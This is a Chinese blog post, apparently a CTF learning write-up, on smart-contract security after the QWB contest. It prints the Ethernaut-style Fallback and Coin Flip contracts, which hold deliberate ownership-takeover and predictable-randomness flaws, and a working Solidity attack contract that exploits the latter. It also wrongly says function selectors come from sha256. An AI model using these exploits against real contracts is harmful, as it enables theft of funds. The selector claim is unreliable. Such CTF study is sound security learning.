menu 牢记自己是菜
智能合约安全分析学习---Day6 QWB赛后总结与智能合约基本问题分析(CTF向)
1141 浏览 | 2020-08-24 | 阅读时间: 约 6 分钟 | 分类: 智能合约 | 标签:
请注意,本文编写于 1340 天前,最后修改于 1180 天前,其中某些信息可能已经过时。

0x1 前言

看到这个标题有人可能会问了,你个臭弟弟,团队十人你零分,好意思在这里总结,总结个鸡毛。啊这,虽然我是零分滚蛋,但是我还是安安心心的研究了两天区块链的题目的。我只认真的看了一道题目,然后还没做出来,主要原因还是对于题目的流程不够熟练,要揣摩好久出题人的意思才可以继续进行。但是其余的很多题目已经开始涉及到了区块链方向的知识,比如本次比赛中的bank,从一开始的sha256解密,到后来的拿AES算法模拟智能合约工作流程,到最后的我们拿脚本伪造交易记录,无时无刻都有智能合约的影子。这次比赛的复现我肯定会做,但是在此之前我要先整理一下这两天学习到的一些东西。毕竟网上的资料有些许匮乏,并且对于区块链的题目还没有形成定式,出题人有很多方法去出题目。
题外话,这次比赛我的电脑死机了3次,蓝屏了5次,我不知道是不是因为win10更新的原因,但是我准备换一台电脑,起码内存要稍微的大一点。


0x2 智能合约基本题目

这里主要来记录一下我见到的出题人的花活(包括做到的,看到的):

  1. 给你服务器靶机,你与其进行交互。由它在测试链上创建合约,给予你目标,完成后他会检测合约,最终返还你flag。
    这个就是这次qwb的智能合约,在你与他交互的时候,他会现给你注册一个账户,账户是空的,要求你给这个账户转账(部署合约需要费用),然后他会使用这个账户部署合约,返回你合约号。在我分析合约的时候发现,合约自带自毁函数,我猜测可能在完成任务后,合约会被销毁。完成任务后,最后在向靶机申请flag。(但是还是没做出来,分析合约不知道他想让我干嘛,之后等题解吧)。
  2. 合约攻击向:由于智能合约是完全开源的,只要你有合约号,你就可以看见这个合约除ABI外的全部信息(为啥看不见ABI之下面再说),包括合约部署的字节码,谁与这个合约发生了交易等等。这类题目,要求你部署你的攻击合约与它的合约进行交互,最终完成,清空合约账户,获得合约账户权限,将合约账户变为僵尸账户等目的。总体感觉有点像PWN题,只不过我们需要部署虚合约。
  3. 合约交互向,在网站内使用控制台与它的合约进行交互,这类题目有点像RE,主要是分析代码,直接于其进行交互,最终完成目的。

0x3 一些在开始前需要说明的点

  • 合约的部署:我们可以选择线下搭建环境,也可以在线上直接进行合约的搭建。这个教程很多不赘述。在线合约网站
  • 合约查询网站:由于主链是人家拿来洗黑钱的(误),所以我们的题目一般都会部署在测试链上(Ropsten),这里是几个支持查询测试链的网站。(为啥是几个,因为墙。。。挂。。。懂?)

    Bitaps
    Ethplore
    EtherChain
    BlockExplorer.one
    BlockScout
    在以下网站你可以查到在测试链上发生了所有活动,包括外部账户,合约账户,交易信息等。

  • 合约安全问题:这里解释一下上述安全问题,既然所有的合约都像是在裸奔一样在链上奔跑,那是不是意味着我们可以调用所有的合约,只要我们给他付足量的费用呢?显然不是的,虽然代码时公开的,但是我们比不能像访问就访问。首先我们要知道合约账户的地址,这样我们才可以把请求送到目的地。其次,在我们发出请求的时候,我们需要使用到这个合约中函数的名字。在你完成合约编译后,题目会把你的合约拆为两个部分,一个是字节码(这部分会被同步到区块上),还有一个部分是你的abi,即为函数的接口,上面会有你的函数名字,与输入格式等信息。
  • 调用合约:唉,那既然函数名字不会被上传到区块链上,那为啥我们要使用函数明调用呢。其实是这样的,合约编译的时候,会将函数名字这个字符串进行sha256的加密,生成了一个4位的“钥匙”,当你调用的时候,他会奖钥匙捅上去试试,可以的话就允许调用。

    input:0x5e031f4a00000000000000000000000000000000fa8cca1bced017e0ab064d4844c3020b
    比如这个,这是合约日志中一次调用的输入,其中0x5e031f4a就是这个函数名字的“钥匙”,后面则是我们调用函数所使用的数据。

  • 反编译环境,正常情况下,题目应该会给出合约源码,这样方便我们写攻击合约。但是有些时候我们也会遇见不给合约源码,只告诉你合约地址的情况。这时候我们就要用到反编译器了,反编译器可以讲字节码反编译成伪代码,并且尽可能的还原一些函数名字。反编译网站。这是一个比较著名的网站,我们可以在里面搜索我们想要的合约地址。这个网站会定期反编译一些合约,如果你想要的合约还没有被编译(一般在合约生成后的10分钟内,这里就可以搜索到),他也提供几种反编译的方式。但是要看运气,要是网站大姨妈了,可能就没有的看了。
  • MetaMask钱包:两个字好用,管理账户,部署合约都要用到它。直接在插件里搜索就可以。

0x4 合约实战

Fallback

题目目的:清空合约
题目方式:控制台直接交互
题目源码:有

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback is Ownable {   //合约名字
  
  using SafeMath for uint256;
  mapping(address => uint) public contributions;

  function Fallback() public {        
    contributions[msg.sender] = 1000 * (1 ether); ////构造函数设置合约创建者的贡献值为1000以太币
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);  //require 常用判断函数这里是当msg.value《0.001时,不许通过,阻断合约
    contributions[msg.sender] = contributions[msg.sender].add(msg.value);//贡献可以被记录时,进行记录
    if(contributions[msg.sender] > contributions[owner]) {//当你贡献的值大于原始账户的时候就你成为合约所有者 明目张胆的强合约(误)
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];//获取你的贡献值
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }////onlyOwner修饰,所以只有合约所有者才能用来提款

  function() payable public {//咦?为啥没有函数名 这玩意叫回退函数
    require(msg.value > 0 && contributions[msg.sender] > 0);//当请求者有贡献,转交合约
    owner = msg.sender;//合约后门
  }
}

触发 fallback 函数的条件:

  • 当调用一个不存在的函数的时候
  • 发送没有数据的纯 ether 时

这就是入门的第一道题目,把后门函数放入了fallback函数中。假设我们正常进行交易的花,我们要向这个函数传入1000eth,淦虽然测试链上的币都是可以免费申请的,但是一个小时同一个IP这能要5枚。所以我们把目光转移到回退的后门函数,这里只要我们能通过require,则就可以得到合约。
流程:做出一点点贡献,抢到函数,转账。

Coin Flip

题目目的:与合约玩游戏
题目方式:部署攻击合约
题目源码:有

pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';//这是一个以太坊公开合约,官方也给出了对应的abi接口,主要是解决加减乘除可能出现的整形溢出而设计的。

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;//这是获胜次数,题目要求这个函数为10的时候算通过。
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
 
  function CoinFlip() public {//变量的构造函数,在合约开始前,将consecutiveWins置为0
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {//我们主要需要观察的函数
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));//block.number是获得当块数编号,-1则是上一个块的编号。取hash

    if (lastHash == blockValue) {
      revert();//看是不是重复的,重复的话就重至函数
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);//除法取整,所以就是上一个区块的第一个值
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;//猜对了加一,到十就获得了胜利
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

好的分析完流程后,我们发现我们只需要按照相同的算法将数值算出来,然后调用函数传参10次即可。这里由于我们要用到SafeMath.sol合约,我们需要获取合约地址或者直接抄它的源代码。



攻击合约:

pragma solidity ^0.4.18;
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}
contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
contract attack{
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip expFlip = CoinFlip(0xf0c21976ff3cc6496e0e58fd770f785ca1dd0b21);
    function pwn(){
         uint256 blockValue = uint256(block.blockhash(block.number-1));
          uint256 coinFlip = blockValue /FACTOR;
          bool side = coinFlip == 1 ? true : false;
          expFlip.flip(side);
    }
}

这里解释一下合约,这里粘贴原合约,目的是获取ABi,这里也可以不用使用这个,直接使用CALL函数进行传参,直接和合约互动。
连续调用十次PWN函数,完成合约攻击。

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!